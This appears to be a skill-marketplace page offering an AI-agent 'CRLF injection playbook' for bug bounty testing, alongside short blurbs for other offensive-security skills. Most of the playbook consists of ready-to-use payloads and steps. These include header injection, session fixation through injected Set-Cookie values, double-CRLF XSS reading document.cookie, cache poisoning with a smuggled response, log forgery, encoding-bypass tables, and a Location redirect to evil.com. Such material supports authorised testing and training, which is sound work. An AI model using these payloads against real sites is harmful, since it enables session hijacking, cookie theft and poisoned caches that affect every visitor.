メニュー
CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gate
Automate low-impact web vulnerability verification through Burp MCP. Use when Codex is asked to check, reproduce, triage, or write evidence for vulnerabilities using Burp Suite proxy history, Repeater, Collaborator/OOB payloads, HTTP replay, parameter mutation, response diffing, or scanner issues. Also use for mini program/微信小程序 Burp history, wildcard domains like *.example.com, root-domain traffic reviews, arbitrary login/任意登录, session_key/sessionKey/sessionkey/session-key/session key/sess_key/sessKey/wxSessionKey/wx_session_key/wechatSessionKey/thirdSessionKey/decryptKey/openDataKey, jscode2Session/jscode2session/code2Session, openid/unionid, getPhoneNumber, encryptedData/iv, appSecret, or phone-login checks; in those cases enumerate all Hosts and search response bodies for WeChat session leaks before reporting no issue.
Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.
CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, null origin, JSONP hijacking, preflight policy bugs, and browser-based access to authenticated APIs.
CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT*). Use when exports, imports, or user fields feed spreadsheets or reporting tools.
| name | crlf-injection |
| description | CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content. |
AI LOAD INSTRUCTION: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.
| Signal | Probe | Why |
|---|---|---|
| Header injection point (redirect URL, Set-Cookie path) | %0D%0AX-Injected:true in param | Confirms CRLF reaches response headers |
| Single CRLF works | %0D%0ASet-Cookie:evil=test | Session fixation chain |
| Single CRLF blocked | %0D alone, %0A alone, %E5%98%8A%E5%98%8D | Partial or Unicode bypass |
| Double CRLF | %0D%0A%0D%0A<script>alert(1)</script> | Body injection → XSS |
| Input in User-Agent / Referer | %0D%0A127.0.0.1 - admin [date] "GET /admin" 200 | Log injection / forgery |
| Open redirect via CRLF in Location | %0D%0ALocation:http://evil.com%0D%0A%0D%0A | Response splitting → redirect hijack |
# Quick test — CRLF in redirect param
curl -s -D- 'https://target/redirect?url=%0D%0AX-Injected:true'
CRLF = \r\n (Carriage Return + Line Feed, %0D%0A). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.
Normal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers — Location + injected Set-Cookie
%0D%0ANew-Header:injected
# In URL parameter:
https://target.com/redirect?url=%0D%0AX-Injected:true
# Check response headers for "X-Injected: true"
Two consecutive CRLF sequences end headers and start body:
%0D%0A%0D%0A<script>alert(1)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(1)</script>
%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>
If the response is cached by a CDN or proxy, injected headers/body are served to all users:
GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>
CRLF in log-visible fields (User-Agent, Referer) can forge log entries:
User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 200
| Filter | Bypass |
|---|---|
Blocks %0D%0A | Try %0D alone, %0A alone, or %E5%98%8A%E5%98%8D (Unicode) |
| URL decodes once | Double-encode: %250D%250A |
Strips \r\n literally | Use URL-encoded form |
| Blocks in value only | Inject in parameter name |
# Unicode/UTF-8 bypass:
%E5%98%8A%E5%98%8D → decoded as CRLF in some parsers
# Double URL encoding:
%250D%250A → server decodes to %0D%0A → interpreted as CRLF
# Partial injection (LF only):
%0A → some servers accept LF without CR
# Inject Set-Cookie via CRLF in redirect parameter:
?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
# Result:
HTTP/1.1 302 Found
Location: /page
Set-Cookie: PHPSESSID=attacker_controlled_session_id
# Victim uses attacker's session → attacker hijacks after login
# Two CRLF sequences end headers and inject response body:
?url=%0D%0A%0D%0A<script>alert(document.cookie)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(document.cookie)</script>
# Inject new Location header before the original:
?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A
# Some servers use the LAST Location header → redirect to evil.com
HTTP header reflects user input?
├── Redirect URL parameter contains CRLF (%0D%0A)?
│ ├── Single CRLF injection works?
│ │ ├── Set-Cookie injection possible?
│ │ │ └── Test session fixation chain
│ │ └── Other header injection (X-Forwarded-For, etc.)?
│ │ └── Test header-based attacks
│ └── Single CRLF blocked?
│ └── Try encoding bypass: double-encode (%250D%250A), Unicode (%E5%98%8A%E5%98%8D), LF-only (%0A)
├── Double CRLF (%0D%0A%0D%0A) reaches response?
│ └── Response body injection confirmed?
│ ├── XSS via injected HTML/JS?
│ │ └── Test XSS escalation chain
│ └── Cacheable response?
│ └── Test cache poisoning chain
├── Input in User-Agent or Referer?
│ └── Log injection possible?
│ └── Test log forgery and log evasion
└── No CRLF reflection found?
└── Report not reproduced; check encoding and parameter name injection
// PHP — header() with user input (PHP < 5.1.2 vulnerable):
header("Location: " . $_GET['url']);
// Python — redirect with unsanitized input:
return redirect(request.args.get('next'))
// Node.js — setHeader with user input:
res.setHeader('X-Custom', userInput);
// Java — response.setHeader with user input:
response.setHeader("Location", request.getParameter("url"));
| Tool | Use Case |
|---|---|
http_framework_test | Send crafted HTTP requests with CRLF payloads (%0D%0A) in URL parameters, headers, cookies, or POST body to test header injection and response splitting |
http_repeater | Replay and modify CRLF injection payloads in redirect URLs, Set-Cookie paths, and User-Agent/Referer headers to observe header/body injection effects |
nuclei_scan | Run CRLF-injection-specific Nuclei templates to automate detection of HTTP response splitting vulnerabilities across multiple endpoints |
burpsuite_alternative_scan | Comprehensive web scanning that can detect CRLF injection patterns in redirect parameters, cookie values, and custom headers during spidering |
□ Inject %0D%0A in redirect URL parameters
□ Inject %0D%0A in Set-Cookie name/value paths
□ Try double CRLF for body injection → XSS
□ Test encoding bypasses: double-encode, Unicode (%E5%98%8D%E5%98%8A), LF-only (%0A)
□ Check if response is cacheable → cache poisoning
□ Test in User-Agent / Referer for log injection
□ Test CRLF + Set-Cookie for session fixation
□ Verify if Location header can be injected in 302 responses